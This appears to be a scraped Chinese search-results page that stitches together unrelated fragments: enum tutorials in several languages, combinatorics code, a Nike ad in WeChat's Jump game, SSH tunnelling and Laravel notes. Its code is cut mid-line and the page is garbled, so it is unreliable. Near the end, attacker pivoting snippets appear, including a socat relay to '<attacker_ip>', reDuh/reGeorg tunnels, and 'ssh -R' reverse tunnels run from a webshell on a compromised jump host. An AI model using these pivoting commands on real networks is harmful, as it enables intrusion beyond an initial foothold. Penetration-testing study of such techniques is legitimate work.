DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> text/html; charset=GBK"> <title>易宝搜索</title> </head> <body>
好,我们今天认真的讲一下枚举类型,大家肯定都用过,比如这样的 1//定义枚举类型 2enum Day { 3 MONDAY, TUESDAY, WEDNESDAY, 4 THURSDAY, FRIDAY 他是不提示我的,可是我如果用枚举,他就可以提示我数据重复,如下图: ? 还有就是不用枚举类型,代码不够简洁,冗余代码太多。 如果我们定义一个枚举类型,其实Java替我们做了定义常量这件事情,也就是上图1的区域。区域3,4是由编译器插入的,下面的图借的人家的。 ? 3.阅读源码 我们找到Enum类,看一下他里面有哪些方法,以及各方法的作用。 ? compareTo:比较我的序数与你的序数之间的差别。 equals:比较枚举类型是否相等。 getDeclaring:与该枚举类型值相对应的类。 ordinal:返回枚举常量的序数。 valueOf:返回带指定名称的指定枚举类型的枚举常量,如果不存在,会直接报错,如下图中标红区域。
1.枚举类型 枚举类型不仅可以提高程序的可读性,而且可以减少因底层值发生改变而导致的程序改动。 如果没有为enum符号赋之,系统会自动对其分别赋值为0,1,2,3,等等。 怎样使程序更加清晰易读: enum Week : int { Monday = 1; Tuesday = 2; Wednesday = 3; Parse方法选取同样的参数,并创建枚举类型的一个实例。 在使用Parse方法之前,一定要确保该枚举成员已经存在,否则系统会抛出一个异常。 myColor.ToString("D") = 3 myColor.ToString("f") = Yellow myColor.ToString("F")
//两重循环枚举,时间复杂度O(N^2) #include <bits/stdc++.h> using namespace std; int n,k,a[100000]; set<pair<int,int myset.insert(make_pair(a[i],a[j])); cout<<myset.size()<<endl; return 0; } 思考:优化,减少枚举变量 ,只枚举a[i] 如果我们只枚举a[i],比如a[i] = 3,那么如果存在数对(a[i],a[j] + k),假设我枚举数对里较小的值是3,那么根据差是2,较大的肯定就是5,所以,问题就变成“查找a
这里就可以使用枚举了 一. 枚举类型的定义 枚举类型的定义与结构体类似,不同在于结构体每个成员之间是用";"隔开的,而枚举成员之间却是用“,”分隔,如下: enum Day//星期 { Mon, Tues, Wed, Thur ; 要注意的是只能拿枚举常量给枚举变量赋值,才不会出现类型的差异。 三.枚举的优点、 为什么使用枚举? 我们可以使用 #define 定义常量,为什么非要使用枚举? 枚举的优点: 1. 增加代码的可读性和可维护性 2. 和 #define 定义的标识符比较枚举有类型检查,更加严谨。 3. 防止了命名污染(封装) 4. 便于调试 5. 使用方便,一次可以定义多个常量
<stdio.h> int main() { int X[4] = {}, i, count = 0; int n = 4; for(X[4]=0;X[4]<2;X[4]++) for(X[3] =0;X[3]<2;X[3]++) for(X[2]=0;X[2]<2;X[2]++) for(X[1]=0;X[1]<2;X[1]++) { printf("{");
定义 from enum import Enum class VIP(Enum): YELLOW=1 RED=2 GREEN=3 使用 # 获取枚举 得到的是枚举烈性 VIP.YELLOW
其次,对于两个不同的行,对应下标的数一一比较,字典序较小的排在前面(例如 1 3 5 7 排在 1 3 6 8 前面)。 数据范围 n>0 , 0≤m≤n , n+(n−m)≤25 输入样例: 5 3 输出样例: 1 2 3 1 2 4 1 2 5 1 3 4 1 3 5 1 4 5 2 3 4 2 3 5 2 4 5 3 4 5 import java.util.Scanner; public class Main { static int [] rec; static
对于3D音效, 左右耳的音量是不一样的. 当然, 眼下没有条件试验传说中的6.1声道是啥子效果, 所以不考虑这种情况. 正是因为左右有音量的差别, 才能根据耳朵去定位音源的方位. 为了解决这个问题, X3DAudio的emitter提供了两个属性, InnerRadius 和 InnerRadiusAngle. 简单地说, 就是牺牲3D空间感换取声音的渐变效果. 实际使用需要试验才能得出好的效果. (我这里暂时定了5米的半径和90度的角度.) ?
Enum.3: Prefer class enums over "plain" enums Enum.3:枚举类要比普通的枚举类型好 Reason(原因) To minimize surprises 尽量减少意外性:经典的枚举类型太容易转换为整数了。 Print_color(webby); Print_color(Product_info::blue); Instead use an enum class: 而使用枚举类的时候: void Print_color (简单)警告所有枚举类以外的枚举定义。 原文链接: https://github.com/isocpp/CppCoreGuidelines/blob/master/CppCoreGuidelines.md#enum3-prefer-class-enums-over-plain-enums
iota常量生成器 枚举,将变量的值一一列举出来,变量只限于列举出来的值的范围内取值。Go 语言中没有枚举这种数据类型的,但是可以使用 const 配合 iota 模式来实现。 普通枚举\*\* const ( a = 0 b = 1 c = 2 d = 3 ) \*\*2. 自增枚举\*\* iota只能用于常量表达式 它默认开始值是0,const中每增加一行加1,同行值相同 const ( a = iota //0 c //1 Weekday = iota Monday Tuesday Wednesday Thursday Friday Saturday ) \*\*3. %E5%8F%98%E9%87%8F%E3%80%81%E5%B8%B8%E9%87%8F%E3%80%81%E6%9E%9A%E4%B8%BE.md
今天,微信跳一跳小游戏内上线了印有耐克Logo的基座,引发了行业关注,玩家跳到基座上就可以加20分——这类加分设计在跳一跳中还出现在唱片机、下水道井盖、便利店等基座上,多家媒体报道,这个耐克基座是一个广告 ,耐克为此花了2000万,微信相关人士对“微果酱”的回应是: 从 3 月 1 日到 3 日,大家体验“跳一跳”小游戏时可能会偶遇“耐克”基座。 这是“跳一跳”正在进行的广告尝试,希望为大家带来更新鲜的游戏体验。目前“跳一跳”的广告暂未对外开放。 ? 这意味着,耐克花2000万买到了在跳一跳呈现三天的机会。 正是因为此,耐克拿下跳一跳第一广告,这个第一很有价值。 从广告形式本身来说,跳一跳中融入耐克的广告,有很好的情景联想,算是一个创意广告。 作为小游戏的标杆,微信跳一跳不只是要给大家展示如何玩儿,还要给大家展示它可以变现、如何变现。微信说目前“跳一跳”的广告暂未对外开放,同时也明确这是一个广告尝试,这意味着微信跳一跳广告还有更多可能。
Go语言是没有 enum 这个枚举关键字的。 那 Go 语言里面又是怎么处理枚举这个问题的呢? 我们这篇文章讲解下! 需要枚举的场景 我们在处理人的姓名的时候,一般都是男或者女,或者最大再加一个未知,不会有其他类型吧。 像上面这种常见,我们一般就会使用枚举处理。 如果是在其他语言: from enum import Enum class Sex(Enum): man = 1 woman = 2 unknown = 3 然后在使用的时候就可以直接 SexUnknown ) func main() { fmt.Println(SexMan,SexWoman,SexUnknown) } // 执行结果 $ go run main.go 0 1 3 main() { fmt.Println(SexMan,SexWoman,SexUnknown,SexUnknown1) } // 执行结果 $ go run main.go 0 woman 2 3
因此,我们需要借助ssh隧道,将本地服务的端口,映射到ssh跳板机,然后服务端的nginx或其他服务直接代理到跳板机的映射端口。 在yunedit-ssh设置ssh隧道的例子如下,创建一个连接,然后在这个ssh连接中,指定本地端口到ssh跳版机的端口映射规则即可:上面,创建一个ssh连接,然后在这个ssh连接下,创建一个映射规则, 将本地的8080端口,映射到ssh跳板机的18080端口下。 然后启用这个映射策略:这样,云端的其他服务器访问跳板机的18080端口,就可以访问到本地的8080端口的服务了。云端无需知道本地电脑的实际IP即可访问到本地的服务。
为了留存用户,我们会想尽办法获取用户的注册,并将其留在应用内。 laravel开发好了一部分用户注册和登陆的代码,如果图省事不要二次开发的, 拿来用就可以了。而如果要深度定制用户权限的开发者,也非常有必要了解用户和授权相关的内容。
拿来用就可以了。而如果要深度定制用户权限的开发者,也非常有必要了解用户和授权相关的内容。
目录跳板机枚举Proxychains与FoxyProxySSH隧道与端口转发瑞士军刀:Socat现代隧道工具:Chisel"VPNoverSSH":sshuttleDNS隧道其他常用跳板工具概述:什么是跳板攻击 跳板机枚举(EnumeratingfromthePivotHost)在发起进一步攻击前,必须先从已攻陷的跳板机上对内网进行信息收集。 **跳板机**:Bash展开代码语言:TXTAI代码解释./socattcp-l:8000tcp:<attacker_ip>:443&3. 3.reDuh(HTTP/S端口转发)简介:利用HTTP/S协议进行端口转发,可以穿透只允许HTTP/S流量出站的网络环境。 3.通过客户端创建端口转发规则。4.reGeorg(SOCKSoverHTTP/S)简介:将SOCKS代理流量封装在HTTP/S请求中,隐蔽性较好。
(3)启动调试点击工具栏的调试按钮(或按F5),观察程序运行。程序会执行到第一个断点处暂停,此时可观察变量的值,调用堆栈、线程状态等信息。 可见黄色箭头已跳至UpdateLabelStatus函数。按下F10进行调试,请重复按下F10,直到界面显示即停下。然后点击led_control程序按键,可通过状态栏查看信息。 请将led_control案例bin目录下可执行程序led_control拷贝至单板机系统"/root/"目录。 Target# systemctl enable qtappTarget# reboot单板机重启后,Qt程序将会自启动。 如需取消单板机Qt程序自启动,请执行如下命令。
说明 前阵子上线,一次性上了十个服务,一直上到凌晨才完事,期间每个服务都要先输入跳板机的登录信息来登录跳板机,然后再输入线上服务器的信息来登录线上服务器,实在是太过于麻烦,而且有些服务还有好几台服务器, 检查问题的时候,服务器跳来跳去的,简直苦不堪言。 于是,便萌发了用shell脚本的方式来一键跳转的想法,先上github上搜了搜现成的轮子,发现都不太好用,要不就是没说明,要不就是只能登一台服务器,不能满足从跳板机A跳转到线上服务器B的需求。 Shell脚本已经发布到了github上,链接在此:https://github.com/MFrank2016/GotoSSH 这个脚本借鉴了AutoSSH的脚本,并将其进行了修改,使得能够支持从跳板机直接跳转登录服务器 使用说明 GotoSSH是一个一键登录SSH的脚本,可直接从跳板机登录到线上服务器,致力于帮助你提高工作效率。
公钥信息,在你本地的~/.ssh/know_hosts里面可以找到 形如: 218.2.135.2 ssh-rsa AAAAB3NzaC1y******************************* 第三部:映射跳板机2号的ssh端口,到公网跳板机上(在跳板机1号的webshell中执行) ssh -f -N -R 2222:218.2.135.2:22 oracle@192.168.100.100 第四部:登陆到跳板机2号上 ssh oracle@localhost:2222 因为上一步已经将跳板机2号的22端口映射到公网跳板机上去了,这时候可以直接登陆。 最后一跳,个人建议以动态映射的方式,这样可以保证后续的其他测试工作也能顺利进行。 但如果甲方对渗透测试有特定的需求,请务必按照甲方要求的方式进行。 (比如,甲方不希望你访问除10.10.10.2之外的任意服务器,那么最后一跳就做一个本地隐射就可以了) 第六部:在跳板机1号上执行 ssh -f -N -R 7777:218.2.135.2:7777